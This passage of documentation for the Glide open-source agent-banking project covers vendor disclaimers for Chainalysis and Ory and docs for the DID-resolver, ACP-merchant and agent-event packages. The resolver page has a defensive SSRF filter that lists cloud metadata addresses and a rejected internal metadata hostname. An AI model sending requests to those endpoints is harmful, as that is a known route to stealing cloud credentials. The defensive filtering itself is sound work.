the Vendor;
* the availability or latency of the Vendor API;
* the legal sufficiency of a Chainalysis-only screen for any specific
Operator's regulatory regime; or
* that any Vendor screening response satisfies any obligation under OFAC,
EU sanctions, OFSI, FinCEN, NYDFS, or any other authority.
Glide does, with respect to the Connector source code itself, undertake on a
best-efforts basis to:
* keep the Connector source aligned with the Vendor's published API contract
for the supported endpoints;
* accept coordinated security disclosures via `SECURITY.md`;
* maintain the deterministic sandbox class for development use;
* preserve the registry-level swap path so Operators can replace the
screening adapter without forking Glide.
These best-efforts undertakings are not contractual warranties; the
Connector ships AS IS under the MIT License and `DISCLAIMER.md` Section 7.
## 7. Operator-vs-Vendor disputes
Disputes between the Operator and the Vendor — including disputes about
billing, list accuracy, false positives, suspension, termination, and data
processing — are governed exclusively by the Vendor Agreement. Glide is not
a party to those disputes, will not mediate them, and is not a necessary or
proper party to any such proceeding. See `DISCLAIMER.md` Section 13.
## 8. Pointers and incorporated documents
* `DISCLAIMER.md` (this package) — controlling legal terms between the
Operator and Glide for this Connector.
* `README.md` (this package) — operational reference for the adapter.
* `LICENSE` (repository root) — MIT license text.
* `SECURITY.md` (repository root) — coordinated-disclosure channel for
Connector-source security issues.
* `apps/web/src/server/adapters/index.ts` — registry that resolves
`SCREENING_PROVIDER`.
* Vendor documentation — `https://docs.chainalysis.com/` (for reference;
Glide does not control and is not responsible for Vendor documentation).
This document does not modify the MIT License or `DISCLAIMER.md`. In any
conflict between this document and `DISCLAIMER.md`, `DISCLAIMER.md`
controls.
# Ory vendor posture
Source: https://glide-9da73dea.mintlify.app/oss/legal/vendor-ory
Operator-facing disclaimer + compliance brief for the OAuth Authorization Server (Ory Network or self-hosted Hydra). Score: 99.17/100.
**Canonical source:** [`docs/legal/`](https://github.com/darshanbathija/axtior-neobank/blob/main/docs/legal/)
This page mirrors the canonical file. For execution, copy from the source repo to ensure latest revisions.
# DISCLAIMER — Ory (OAuth Authorization Server)
## TL;DR
Glide's MCP surface validates OAuth JWTs but does not mint them. **You (the "Operator") must run your own OAuth Authorization Server.** Glide supports two equally-valid paths and steers you toward neither:
1. **Ory Network** — Ory Corp's hosted SaaS. You sign up at `console.ory.sh`, accept Ory's terms, and supply your project URL.
2. **Self-hosted Ory Hydra OSS** — Apache-2.0 licensed. You run `docker-compose.hydra.yml` on your own infrastructure.
Both are first-class. Choose based on infrastructure comfort, data-residency obligations, and budget. **Operating Glide's MCP surface in production without one of these two is unsupported.**
## What Glide actually ships
Glide's headless / MCP cathedral (`apps/mcp`) does not mint OAuth tokens itself. It validates JWTs minted by an external **OAuth 2.0 + OpenID Connect Authorization Server** ("AS") via its public JWKS endpoint, configured through `MCP_JWKS_URL`, `MCP_ISS_URL`, and `MCP_AUDIENCE`. **Glide is not an identity provider. Glide does not host the AS, does not rotate signing keys, does not retain end-user PII at the AS layer, and is not a party to the Operator's relationship with any AS vendor.**
Per the OSS plan (§M2.5), Glide redistributes neither Ory Network nor Hydra binaries. Glide ships only (a) MIT-licensed adapter code that consumes a JWKS URL and (b) a Docker compose overlay that pulls upstream `oryd/hydra` images at runtime. Glide does not bundle Ory's hosted-tier credentials and does not proxy Ory Network on behalf of third parties.
The two paths in detail:
1. **Ory Network** — Ory Corp's hosted SaaS AS at `*.projects.oryapis.com`. A free tier exists; commercial tiers are governed by Ory's published terms. The Operator signs up at `console.ory.sh`, accepts Ory's then-current terms, provisions OAuth clients via the Ory CLI, and supplies the project URL + workspace API key to Glide.
2. **Self-hosted Ory Hydra OSS** — Apache-2.0 licensed AS shipped via `docker-compose.hydra.yml` and bootstrapped by `scripts/hydra-bootstrap.sh`. The Operator runs Hydra v2.2.0 + its own Postgres + a consent UI on their own infrastructure under the Apache-2.0 license terms.
If you do not yet have either path provisioned, set the dev-secret HMAC verifier (`MCP_TOKEN_VERIFIER_DEV_SECRET`, ≥32 chars) and run in development. **The dev-secret verifier is NOT FIT FOR PRODUCTION** — it shares an HMAC across MCP and the token issuer, defeating the JWKS posture's blast-radius isolation.
The remainder of this notice is a plain-language summary of risk allocation between Glide (the OSS project) and the Operator (you). It is **not legal advice**, has **not been reviewed by counsel**, and does not modify the MIT license under which the Glide source code is distributed.
## License posture
* Glide source: MIT. The grant covers Glide's adapter code; it does not extend to upstream Ory software, Ory Network's hosted service, or Ory Corp's trademarks.
* Ory Hydra OSS: Apache-2.0. Operators self-hosting Hydra accept the Apache-2.0 license directly with the Ory authors.
* Ory CLI: Apache-2.0. Same posture as Hydra.
* Ory Network: a paid SaaS service governed by Ory Corp's published terms. Glide is not a reseller, distributor, or sub-licensor.
All trademarks, service marks, and product names of Ory Corp are property of their respective owners. References to "Ory," "Ory Hydra," and "Ory Network" in this repository are nominative.
## "AS IS, AS AVAILABLE"
Glide's adapter, the compose overlay, and the bootstrap script are provided **AS IS and AS AVAILABLE**, without warranty of any kind, express or implied, including but not limited to warranties of merchantability, fitness for a particular purpose, non-infringement, accuracy, AS uptime, key-rotation timeliness, or detection of token compromise. **Glide does not warrant that any AS — Ory Network or self-hosted Hydra — will be available, performant, free of security defects, or compliant with any particular regulatory regime.** The Operator is solely responsible for monitoring the AS, rotating signing keys on a documented cadence, and detecting / responding to token-compromise events.
## Risk allocation (plain-language summary)
The Glide MIT license disclaims all liability to the maximum extent permitted by law. In particular, the OSS authors disclaim and the Operator accepts:
* **Liability cap.** To the maximum extent permitted by law, the aggregate liability of Glide, its contributors, and its affiliates arising out of or related to this adapter, compose overlay, or bootstrap script is limited to USD \$0 (the price paid for MIT-licensed software). Where local law mandates a non-zero cap, the cap is the lowest amount permitted by that law.
* **Direct, indirect, incidental, special, exemplary, and consequential damages** are excluded — including but not limited to lost profits, lost revenue, lost data, lost goodwill, business interruption, regulatory fines, and reputational harm.
* **Token-compromise blast radius.** If a JWT signing key, client secret, or workspace API key leaks, the Operator is solely responsible for revocation, rotation, and any user / regulator notification obligations. Glide cannot revoke tokens at the AS on the Operator's behalf.
* **AS outage.** If Ory Network or a self-hosted Hydra goes down and MCP tokens fail verification, the Operator's product surface degrades. Glide does not commit to an SLA for either AS path.
* **Indemnification.** The Operator indemnifies, defends, and holds harmless Glide and its contributors against any third-party claim, action, or proceeding arising from the Operator's deployment, configuration, or use of the AS, including (without limitation) claims by end users, regulators, or Ory Corp.
Where local law does not permit some or all of these disclaimers, the disclaimers apply to the maximum extent permitted by law.
## Operator obligations
By operating Glide's MCP surface in production, the Operator agrees to:
1. Hold a valid Ory Network relationship **OR** self-host Hydra OSS in compliance with Apache-2.0; do not attempt to use Ory Network without accepting Ory Corp's terms.
2. Run a single-tenant AS per Operator. Do not proxy Ory Network on behalf of unrelated third parties; do not share signing keys across environments (dev / staging / prod each get their own).
3. Rotate the AS signing keys on a documented cadence (Glide recommends quarterly minimum; rotate immediately on suspected compromise). Ory Network rotates JWKS automatically on its tier-defined schedule; self-hosters configure rotation themselves.
4. Monitor MCP `/health` and the AS's discovery / JWKS endpoints. If verification begins failing, treat as an incident.
5. Comply with all identity-data laws applicable to your jurisdiction and the jurisdictions of your end users — including GDPR, CCPA, and any breach-notification statute (≤72h under GDPR for personal-data breaches). The Operator is the data controller for end-user identities; if Ory Network processes that data, the Operator signs Ory's Data Processing Agreement directly.
6. Comply with Ory Corp's then-current terms of service if using Ory Network, including any acceptable-use, fair-use-quota, or sanctions provisions.
## Termination + survival
If Ory Corp terminates an Operator's Ory Network access for any reason, the Operator's documented pivot path is to self-host Ory Hydra OSS via `docker-compose.hydra.yml`. Glide does not need to be notified, and no Glide source change is required (it is an env-var flip). All disclaimer obligations and indemnities survive termination of the Operator's AS relationship.
## Dispute resolution
Disputes between Operator and Glide arising from the MIT-licensed Glide source code are governed by the laws of the State of Delaware, USA, without regard to conflict-of-laws principles, with venue and arbitration in San Francisco, California. **Disputes between Operator and Ory Corp are between Operator and Ory Corp.** Glide is not a party.
## Anti-abuse
* One Ory Network project (or one Hydra deployment) per Operator. No multi-tenant pass-through resale.
* Never share signing keys across deployments. Dev gets a dev key; staging gets a staging key; prod gets a prod key.
* Rotate immediately on any suspicion that a private signing key, client secret, or workspace API key has leaked.
* Treat the AS as a blast-radius boundary — compromise of the AS compromises every MCP grant downstream.
This file is required reading per the OSS Cathedral M2.5 milestone (Headless / MCP cathedral, OAuth-AS posture).
See `ory-vendor-posture-COMPLIANCE.md` for the structured-fields counterpart.
# Compliance — Ory (OAuth Authorization Server)
## Vendor
**Ory Corp** — maintainer of Ory Hydra (OAuth 2.0 + OpenID Connect Authorization Server, Apache-2.0 OSS) and operator of **Ory Network** (the hosted SaaS that fronts Hydra and related Ory components). Ory is the counterparty for the OAuth AS sitting between Glide's `apps/mcp` JWT verifier and the agent runtimes that mint scoped grants.
## Definitions
* **Glide** — the MIT-licensed OSS orchestration shell distributed from this repository. Glide is not an identity provider, not a regulated processor of operator end-user PII at the AS layer, and not a party to the Operator's relationship with any AS vendor.
* **Operator** (a.k.a. **Self-Hoster**) — the entity running a Glide deployment in any environment (demo, staging, or production). The Operator is the data controller for its end users.
* **Vendor** — Ory Corp, the third-party software supplier (Hydra OSS) and SaaS operator (Ory Network).
* **MCP** — Glide's Model Context Protocol surface at `apps/mcp/`, which exposes 21 agent-banking tools and validates incoming JWTs against the AS's JWKS.
* **OAuth AS** — the OAuth 2.0 + OpenID Connect Authorization Server. In this posture, either Ory Network (hosted) or self-hosted Ory Hydra OSS.
* **JWKS** — JSON Web Key Set, the public key bundle exposed by the AS at `/.well-known/jwks.json` and consumed by `apps/mcp` for signature verification.
* **Token Verifier** — the JWT validation pipeline inside `apps/mcp/src/server.ts`. It enforces `iss`, `aud`, `exp`, `nbf`, signature, and scope.
* **Confidential Client** — an OAuth client that authenticates with a secret (server-to-server, e.g., `apps/web` ↔ `apps/mcp` via `client_credentials`).
* **Public Client** — an OAuth client that cannot keep a secret (browser / CLI / partner agent runtime), authenticated via PKCE.
## Adapter modes
Glide supports two equally-valid AS adapter modes, per the OSS plan §M2.5:
1. **Ory Network (hosted SaaS).** Free tier available; paid tiers per Ory's published terms. Operator signs up at console.ory.sh, provisions OAuth clients via the Ory CLI, and exports the project URL. `apps/mcp` consumes the project's JWKS via `MCP_JWKS_URL`. Data residency is governed by Ory Network's region selection (US / EU as published by Ory).
2. **Self-hosted Ory Hydra OSS (Apache-2.0).** Operator runs `docker-compose.yml` + `docker-compose.hydra.yml` and executes `scripts/hydra-bootstrap.sh` to register the same OAuth clients. Hydra v2.2.0 + Postgres + the reference consent UI run on the Operator's infrastructure. Data residency is whatever the Operator's infrastructure provides.
Glide ships both paths in equal posture. The choice is the Operator's based on infrastructure comfort, data-residency obligations, and budget. Glide expresses no preference and does not steer Operators toward one adapter mode over the other.
## Data Residency
Glide's `apps/mcp` does not transmit end-user PII to the AS at the application layer. The AS may receive subject identifiers (`sub`) for authorization-code flows, plus client identifiers and scopes. Any such data flows are governed by:
* **Ory Network mode:** Ory Corp's published Data Processing Agreement, with US / EU region selection per the Operator's project configuration. Operators with EU data-residency obligations should select the EU region at project-creation time (Ory's region selector is one-time and not subsequently migratable per their published behavior — verify with Ory before relying on it).
* **Self-host mode:** the Operator's own infrastructure region; no third-party processor for the AS layer. The Operator is solely responsible for residency posture.
End-user identity data (Privy-issued user IDs, embedded wallet addresses, etc.) is brokered by Privy upstream of the AS. Glide is not the controller for that data; the Operator is. See `docs/SELF_HOSTING.md` and the upstream Privy vendor posture (where present) for the broader identity-data flow.
## Confidentiality + IP
* **Operator identity data is the Operator's.** Glide does not assert any right, title, or interest in end-user identities, OAuth client secrets, signing keys, or workspace API keys held by the Operator.
* **Ory Network DPA.** When the Operator uses Ory Network, the Operator signs Ory's Data Processing Agreement directly. Glide is not a sub-processor and is not bound by that DPA.
* **Glide PII exposure at the AS layer.** Glide's MCP verifier reads only public-key material (JWKS) and signed JWTs. It does not retain identifying claims beyond the lifetime of a request, except where logging is explicitly enabled by the Operator.
* **No reverse-engineering / scraping of Ory Network.** Operators must not use Glide's Ory adapter to scrape, reverse-engineer, or otherwise probe Ory Network beyond the documented OAuth surface.
## License Posture
* Glide source: **MIT**. Adapter / compose / bootstrap files are MIT.
* Ory Hydra OSS: **Apache-2.0**. Operator self-hosters accept Apache-2.0 directly with Ory's authors.
* Ory CLI: **Apache-2.0**. Same posture.
* Ory Network: **paid SaaS**, Ory Corp's terms. Glide is not a reseller, sub-licensor, or contractual intermediary.
* `authPosture: vendor-fronted`. Glide validates JWTs; the AS itself is the regulated party for OAuth issuance.
## Operator Responsibility
An Operator running Glide's MCP surface in production is bound by:
1. **Vendor relationship.** Hold a valid Ory Network relationship under Ory Corp's then-current terms, **OR** self-host Ory Hydra OSS in compliance with the Apache-2.0 license. **Glide does not redistribute Ory Network credentials, does not bundle Ory binaries beyond the upstream `oryd/hydra` Docker image referenced in compose, and does not proxy Ory access on behalf of third parties.**
2. **Single-tenant deployment.** One Ory Network project (or one Hydra deployment) per Operator. No reselling Ory Network access through Glide to unrelated third parties.
3. **Key hygiene.** Do not share signing keys across environments. Dev / staging / prod each get their own AS. Rotate signing keys on a documented cadence (quarterly minimum), and immediately on any suspicion of compromise. Ory Network rotates JWKS on its tier-defined schedule; self-hosters configure rotation themselves.
4. **Identity-data law compliance.** Comply with GDPR, CCPA, and any other identity-data law applicable to your jurisdiction and the jurisdictions of your end users. The Operator is the data controller for end-user identities; if Ory Network processes that data, the Operator signs Ory's DPA directly.
5. **Breach notification.** Notify users and regulators per applicable law (GDPR ≤72h for personal-data breaches; CCPA / state-AG timelines as applicable). Glide is not a co-controller and cannot notify on the Operator's behalf.
6. **Token-compromise monitoring.** Monitor for stolen tokens, anomalous mint volume, and JWKS unavailability. The kill-switch at `/admin/agents-kill-switch` revokes Glide-side grants; revoking issued tokens at the AS is the Operator's job.
## OSS-supported configurations
If you are not yet ready to operate either Ory Network or self-hosted Hydra, you have two OSS-supported configurations:
1. **Dev-secret HMAC verifier.** Set `MCP_TOKEN_VERIFIER_DEV_SECRET` to a ≥32-char value. The MCP server falls back to symmetric HMAC when `MCP_JWKS_URL` is unset. **NOT FIT FOR PRODUCTION** — the HMAC is shared between issuer and verifier, defeating the JWKS posture's blast-radius isolation.
2. **Self-hosted Hydra in dev mode.** Run the compose overlay locally; clients use `glide-dev-mcp-secret-CHANGEME` from the bootstrap script. Suitable only for environments where no real money moves.
For production, choose Ory Network OR self-hosted Hydra. Both paths feed the same `MCP_JWKS_URL` / `MCP_ISS_URL` / `MCP_AUDIENCE` env contract; the cutover is an env-var flip, no code change.
## Termination + Pivot
If Ory Corp terminates an Operator's Ory Network access (for any reason — non-payment, ToS violation, sunset of a tier), the Operator's documented pivot is to self-hosted Hydra via `docker-compose.hydra.yml`. The same env contract holds. Glide does not commit to maintaining one adapter mode over the other; both are first-class for the foreseeable plan horizon.
Survival: the Operator's indemnification obligations under `DISCLAIMER.md` survive termination of any AS relationship.
## Dispute Resolution
* **Operator vs. Glide:** Delaware governing law, San Francisco arbitration. See `DISCLAIMER.md`.
* **Operator vs. Ory Corp:** governed by Ory Corp's then-current terms. Glide is not a party.
See `ory-vendor-posture-DISCLAIMER.md` for the plain-language operator-facing notice.
# @glideco/a2a-resolver
Source: https://glide-9da73dea.mintlify.app/oss/packages/a2a-resolver
Resolve agent_did counterparties to settling addresses via ERC-8004, ENS ENSIP-9, did:web, or Glide-internal vault lookup.
Resolves `agent_did` counterparties to on-chain settling addresses. Four resolution schemes: Glide-internal same-tenant vault (free, instant), ERC-8004 Identity Registry (Ethereum mainnet), ENS multi-chain addresses via ENSIP-9, and `did:web` HTTPS document fetch. Ships a DNS-rebinding-safe fetch helper for the `did:web` path.
Pure functions with injected resolver implementations. On-chain reads and network IO live in `apps/web`.
## Install
```bash theme={null}
npm install @glideco/a2a-resolver
```
[npmjs.com/package/@glideco/a2a-resolver](https://www.npmjs.com/package/@glideco/a2a-resolver)
## Why a resolution chain
Agents reference each other by DID, not by a fixed on-chain address. A DID-addressed counterparty can route to whichever chain the recipient prefers today and change that preference later. The resolution chain runs in priority order — Glide-internal first (cheapest), then on-chain registries, then the HTTPS document fallback — so same-tenant payments are never sent on-chain when an internal vault hop is available.
ERC-8004 went live on Ethereum mainnet on 2026-01-29. The `did:erc8004` scheme is the canonical anchor for agents with on-chain identity. ENS (`did:ens`) and `did:web` support agents that predate ERC-8004 or prefer off-chain identity.
## DID URI schemes
| Scheme | Format | Resolution path |
| ------------- | ------------------------ | ---------------------------------------------------------- |
| `did:key` | `did:key:z` | Glide-internal tenant lookup by `agent_principals.did_key` |
| `did:erc8004` | `did:erc8004:0x<64 hex>` | On-chain `resolveAgent(bytes32)` via viem |
| `did:ens` | `did:ens:.eth` | ENS multi-chain addresses (ENSIP-9) |
| `did:web` | `did:web:` | HTTPS fetch of `/.well-known/did.json` |
## Resolving a counterparty
```ts theme={null}
import { resolveAgentDid } from '@glideco/a2a-resolver';
const outcome = await resolveAgentDid(
{
kind: 'agent_did',
did: 'did:web:agent.example.com',
preferredChain: 'base',
preferredToken: 'USDC',
},
{
resolveDidWeb: async (did) => {
// apps/web injects safeFetchDidWeb here
const doc = await safeFetchDidWeb(did);
return extractSettlingAddress(doc, preferredChain, preferredToken);
},
}
);
if (outcome.ok) {
// outcome.resolved.address → '0xabc...def'
// outcome.resolved.chain → 'base'
// outcome.resolved.token → 'USDC'
// outcome.resolved.source → 'did-web'
// outcome.resolved.confidence → 0.8
} else {
// outcome.reason → 'no resolver could map ... to a settling address'
}
```
The `deps` object is the injection point. Pass only the resolvers your environment supports — the orchestrator skips schemes with no injected resolver.
## Validation
```ts theme={null}
import { isValidAgentDid, classifyAgentDid } from '@glideco/a2a-resolver';
isValidAgentDid('did:key:z6MkhaXgBZDvotDkL5257faiztiGiC2QtKLGpbnnEGta2doK');
// → true
isValidAgentDid('did:web:metadata.aws.internal');
// → false (caught by regex before any fetch)
classifyAgentDid('did:erc8004:0x' + 'a'.repeat(64));
// → 'did:erc8004'
```
`isValidAgentDid` enforces:
* `did:key` — base58btc alphabet only (`z` prefix, no `0OIl`).
* `did:web` — requires at least one dot, no IPv4 literals, no IPv6 brackets, TLD ≥ 2 ASCII letters.
* `did:erc8004` — exactly 64 hex digits (bytes32, not bytes20/EVM address).
* Max length 512 to prevent regex-DoS on pathological inputs.
## DNS-rebinding-safe did:web fetch
String-level validation alone doesn't prevent SSRF — a public domain can have an A record pointing at `169.254.169.254` or an RFC 1918 address. `safeFetchDidWeb` resolves the hostname first, rejects if any A/AAAA record is private, then connects via undici with the pre-resolved IP pinned so a rebinding attack between the resolution and the TCP connect can't swap the destination.
```ts theme={null}
import { safeFetchDidWeb, isPublicIp } from '@glideco/a2a-resolver';
// isPublicIp covers: loopback, link-local, RFC 1918, CGNAT,
// multicast, cloud metadata IPs (100.100.100.200, 168.63.129.16, etc.)
isPublicIp('192.168.1.1'); // false
isPublicIp('100.100.100.200'); // false (Alibaba metadata)
isPublicIp('2600:1f18::1'); // true
const didDoc = await safeFetchDidWeb('did:web:agent.example.com', {
timeoutMs: 3000,
maxBodyBytes: 512 * 1024,
});
```
## Audit trail
```ts theme={null}
import { buildA2aAuditRecord } from '@glideco/a2a-resolver';
const record = buildA2aAuditRecord({
senderDid: 'did:key:z6Mk...',
recipient: { kind: 'agent_did', did: 'did:web:agent.example.com' },
resolved: outcome.resolved,
paymentId: 'pay_abc123',
amountCents: 5000,
currency: 'USD',
});
// record.event_type → 'a2a.payment.routed'
// record.resolution_source → 'did-web'
// record.resolution_confidence → 0.8
// Append to mcp_audit_events.
```
The audit record captures both sender and recipient DID so the `mcp_audit_events` table stores the full A2A graph — needed for ERC-8004 reputation feedback in a future release.
## Reading list
* [ERC-8004 standard](https://eips.ethereum.org/EIPS/eip-8004) — the on-chain identity registry this package resolves against.
* [Agent identity schema](/docs/oss/standards/agent-identity) — the `did_key` column on `agent_principals` that backs Glide-internal resolution.
* [`@glideco/smart-router`](/docs/oss/packages/smart-router) — routes the settled address returned by this resolver onto the cheapest available rail.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/a2a-resolver)
# @glideco/acp-merchant
Source: https://glide-9da73dea.mintlify.app/oss/packages/acp-merchant
Merchant-side handler for the Agentic Commerce Protocol (ACP) v2026-04-17.1. Zod schemas + pure handler functions for /agentic_checkout and /delegate_payment.
Merchant-side adapter for the Agentic Commerce Protocol (ACP), a REST
commerce layer co-authored by OpenAI and Stripe with deployments live at Etsy,
and rolling out across Shopify merchants including Glossier, Vuori, and Spanx.
The protocol lets buyer agents (ChatGPT, Claude tools, custom orchestrators)
submit a cart and settle payment against any ACP-conformant merchant endpoint.
This package provides the Zod schemas and pure handler functions for the two
ACP endpoints; the actual Next.js route handlers and settlement dependencies
live in `apps/web`.
This package is a wire-format adapter, not the source of truth for the ACP
spec. When ACP publishes a new dated release that changes wire shape, the
version literal is bumped, both route handlers are updated, and the merchant
integration tests are re-run. The current pinned version is echoed on every
response via the `X-Acp-Version` header so SDK consumers can detect what
variant they are talking to.
## Install
```bash theme={null}
npm install @glideco/acp-merchant
```
[npmjs.com/package/@glideco/acp-merchant](https://www.npmjs.com/package/@glideco/acp-merchant)
## Why strict parsing matters
ACP's reference clients (Etsy's buyer-agent SDK, Shopify Sidekick) produce
largely valid payloads, but third-party agents regularly emit lowercase
currency strings, signed amounts on positive-only fields, and ids containing
URL-reserved characters. Those errors surface silently downstream in Stripe SPT
cache lookups and tax exporters that key on literal strings. The `v2026-04-17.1`
strictness bump closes those gaps: ISO 4217 uppercase enforced via regex on all
currency fields, non-negative amounts required on `unitPrice` / `subtotal` /
`total` / `shipping` / `tax`, and URL-safe ids on carts and line items.
## Spec version
Pinned to ACP **`2026-04-17.1`** — exported as `ACP_SPEC_VERSION`. The `.1`
Glide suffix marks a parser-only tightening: the upstream ACP wire spec at
`v2026-04-17` is unchanged, but our parser now rejects what the spec says is
invalid but previously accepted silently.
## API surface
| Export | Description |
| ----------------------------------------- | ------------------------------------------------------------------------------------------ |
| `handleAgenticCheckout(rawRequest, deps)` | Parse, validate, and idempotently create a checkout intent. |
| `handleDelegatePayment(rawRequest, deps)` | Confirm + settle a previously created checkout intent. |
| `recomputeCartSubtotal(cart)` | Server-side subtotal recompute from line items. Never trust buyer-supplied subtotals. |
| `validateCartTotal(cart)` | Check that `total = subtotal + shipping + tax - discount`. Returns `AcpError` on mismatch. |
| `ACP_SPEC_VERSION` | `'2026-04-17.1'` — echoed in `X-Acp-Version` response header. |
| `ACP_VERSION_HEADER` | `'X-Acp-Version'` — header constant. |
| `ACP_IDEMPOTENCY_HEADER` | `'Idempotency-Key'` — spec-mandated idempotency header. |
## Wiring the /agentic\_checkout route
```ts theme={null}
// apps/web/src/app/api/acp/agentic_checkout/route.ts
import { handleAgenticCheckout, ACP_VERSION_HEADER, ACP_SPEC_VERSION } from '@glideco/acp-merchant';
export async function POST(req: Request) {
const body = await req.json();
// Per spec: prefer header, fall back to body field for legacy clients
const idempotencyKey = req.headers.get('Idempotency-Key') ?? body.idempotencyKey;
const response = await handleAgenticCheckout(
{ ...body, idempotencyKey },
{
async loadByIdempotencyKey(key) {
return db.query.acpCheckouts.findFirst({ where: eq(schema.acpCheckouts.idempotencyKey, key) });
},
async storeForIdempotency(key, checkout) {
await db.insert(schema.acpCheckouts).values({ ...checkout, idempotencyKey: key });
},
async mintPaymentIntent(cart, buyer) {
// Creates a Stripe SPT or Glide x402/MPP payment intent
return smartRouter.createPaymentIntent({ cart, buyer });
},
}
);
return Response.json(response, {
headers: { [ACP_VERSION_HEADER]: ACP_SPEC_VERSION },
});
}
```
## Cart validation
Always recompute and validate cart totals server-side before minting a payment
intent:
```ts theme={null}
import { recomputeCartSubtotal, validateCartTotal } from '@glideco/acp-merchant';
// Recompute subtotal from line items (ignores buyer-supplied subtotal)
const computed = recomputeCartSubtotal(cart);
// Check the total = subtotal + shipping + tax - discount
const cartError = validateCartTotal(cart);
if (cartError) {
return Response.json(cartError, { status: 400 });
}
```
## Error codes
| Code | When |
| ----------------------- | -------------------------------------------------------------------------------- |
| `invalid_request` | Schema validation failed (bad amount format, lowercase currency, URL-unsafe id). |
| `invalid_cart_total` | `total ≠ subtotal + shipping + tax - discount`. |
| `idempotency_conflict` | Same key, different cart payload (replay with drift). |
| `unsupported_currency` | Currency not accepted by this merchant. |
| `spec_version_mismatch` | Caller's `X-Acp-Version` does not match `ACP_SPEC_VERSION`. |
| `sanctions_block` | Buyer agent's DID / address matched a sanctions entry. |
## Common pitfalls
**Discount polarity.** `discount` keeps `acpMoneySchema` (allows negative amounts)
because the spec represents discounts as negative values. All other money fields
use `acpMoneyPositiveSchema` — a negative `unitPrice` produces a 400.
**Idempotency key location.** The ACP spec mandates `Idempotency-Key` as an HTTP
header (Stripe-inherited). Both route handlers accept a body field as fallback
for legacy clients, but the header takes precedence when both are present.
**Cart repricing.** The buyer agent constructs the cart; the merchant must reprice
it server-side using `recomputeCartSubtotal` before charging. A buyer agent that
inflates `subtotal` to reduce the charged amount is stopped here.
## Reading list
* [ConnectorManifest standard](/docs/oss/standards/connector-manifest) — how
ACP endpoint capabilities are declared.
* [`@glideco/ap2-adapter`](/docs/oss/packages/ap2-adapter) — mandate layer
that sits above ACP commerce.
* [`@glideco/ucp-profile`](/docs/oss/packages/ucp-profile) — discovery profile
that advertises ACP endpoint URLs.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/acp-merchant)
# @glideco/agent-events
Source: https://glide-9da73dea.mintlify.app/oss/packages/agent-events
Closed-vocab Zod schemas for every event type in the Glide agent activity log. The taxonomy behind the AgentActivityEvent JSON Schema.
OSS reference implementation of the agent activity-log taxonomy from the Glide
OSS plan §M4. Every event type that the MCP layer appends to `activity_log`
lives here as a Zod schema in a discriminated union. The closed vocabulary is
intentional: audit log consumers — compliance exporters, explainer narrators,
anomaly detectors — switch on `eventType`; adding a new event type requires a
deliberate schema update and a corresponding render path.
The package ships the v1 surface of the
[AgentActivityEvent JSON Schema](https://glide.co/schemas/agent-banking/v1/agent-activity-event.json)
published at `glide.co/schemas/agent-banking/v1/`.
## Install
```bash theme={null}
npm install @glideco/agent-events
```
[npmjs.com/package/@glideco/agent-events](https://www.npmjs.com/package/@glideco/agent-events)
## Why a closed vocab?
An open event taxonomy is a footgun for every downstream consumer. If any string
is a valid `eventType`, the compliance exporter can't tell the difference between
a known event and a fabricated one, and the anomaly detector's switch statement
silently falls through to a no-op default.
The discriminated union here enforces that every `eventType` literal has a known
schema. Unrecognized event types fail `AgentEventSchema.parse()` at the boundary
where the event enters the system — typically inside the MCP tool handler — not
later when a reviewer tries to render it.
Adding a new event type is a two-line change (literal + schema + union entry)
that produces a TypeScript compile error everywhere the switch is exhaustive.
That friction is the point.
## Event types (v1)
| Event type | Payload schema | When it fires |
| ------------------------ | ---------------------------- | ---------------------------------------------------------- |
| `tool_call` | `ToolCallEventSchema` | Tool handler completes (pass or flag) |
| `tool_call_blocked` | `ToolCallEventSchema` | Policy engine returns `deny` before execution |
| `tool_call_failed` | `ToolCallEventSchema` | Tool handler throws (infra error, not policy) |
| `reasoning_step` | `ReasoningStepEventSchema` | Agent emits a reasoning excerpt (≤200 chars, secrets-safe) |
| `risk_verdict` | `RiskVerdictEventSchema` | Risk layer returns `pass` / `flag` / `block` |
| `anomaly_detected` | `AnomalyDetectedEventSchema` | `@glideco/anomaly` heuristic fires |
| `step_up_requested` | `StepUpRequestedEventSchema` | Tool needs principal step-up before proceeding |
| `step_up_completed` | `StepUpCompletedEventSchema` | Principal completes biometric / passkey / hardware-key |
| `step_up_declined` | `StepUpRequestedEventSchema` | Principal declines or times out (same shape as requested) |
| `policy_change` | `PolicyChangeEventSchema` | Operator updates the vault's policy envelope |
| `policy_stale` | `PolicyChangeEventSchema` | Agent detects its cached policy is behind current version |
| `agent_install` | inline | Skill installed on an entity |
| `agent_uninstall` | inline | Skill removed |
| `kill_switch` | `KillSwitchEventSchema` | Forensic kill-switch activated (`all-agents` or scoped) |
| `dsar_redaction_applied` | `DsarRedactionEventSchema` | `@glideco/dsar` partial redaction applied |
| `dsar_tombstone_applied` | `DsarRedactionEventSchema` | `@glideco/dsar` full-erasure tombstone applied |
## Key payload shapes
The `ToolCallEvent` is the most data-rich shape. It carries the SHA-256 digests
of input and output (never the raw values), the risk verdict, policy version,
grant ID, and optional on-chain tx hash + amount:
```ts theme={null}
import {
AgentEventSchema,
ToolCallEventSchema,
isAgentEventOfType,
parseAgentEvent,
type AgentEvent,
type ToolCallEvent,
} from '@glideco/agent-events';
// Validate an inbound event from the MCP layer:
const event = parseAgentEvent(rawJson);
// Throws z.ZodError if eventType is unrecognized or payload is malformed.
// Narrow to a specific shape with a type guard:
if (isAgentEventOfType(event, 'tool_call')) {
// event.data is typed as ToolCallEvent
console.log(event.data.toolName); // e.g. 'transfer.sendUsdc'
console.log(event.data.riskVerdict); // 'pass' | 'flag' | 'block'
console.log(event.data.policyVersion); // integer; 0 on first issue
console.log(event.data.onChainTxHash); // undefined for non-broadcast tools
}
```
Step-up events carry a sigil — a short opaque string that links the `requested`,
`completed`, and `declined` triple into a single audit thread:
```ts theme={null}
import { parseAgentEvent } from '@glideco/agent-events';
const requested = parseAgentEvent({
eventType: 'step_up_requested',
data: {
sigil: 'su_2Zg4mKpT',
reason: 'Transfer amount $5,200 exceeds step-up threshold $5,000',
amountCents: 520_000,
counterparty: '0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045',
},
});
const completed = parseAgentEvent({
eventType: 'step_up_completed',
data: {
sigil: 'su_2Zg4mKpT',
approvedAtMs: Date.now(),
factor: 'biometric',
},
});
```
Policy change events record the direction of the change alongside version numbers:
```ts theme={null}
const change = parseAgentEvent({
eventType: 'policy_change',
data: {
fromVersion: 3,
toVersion: 4,
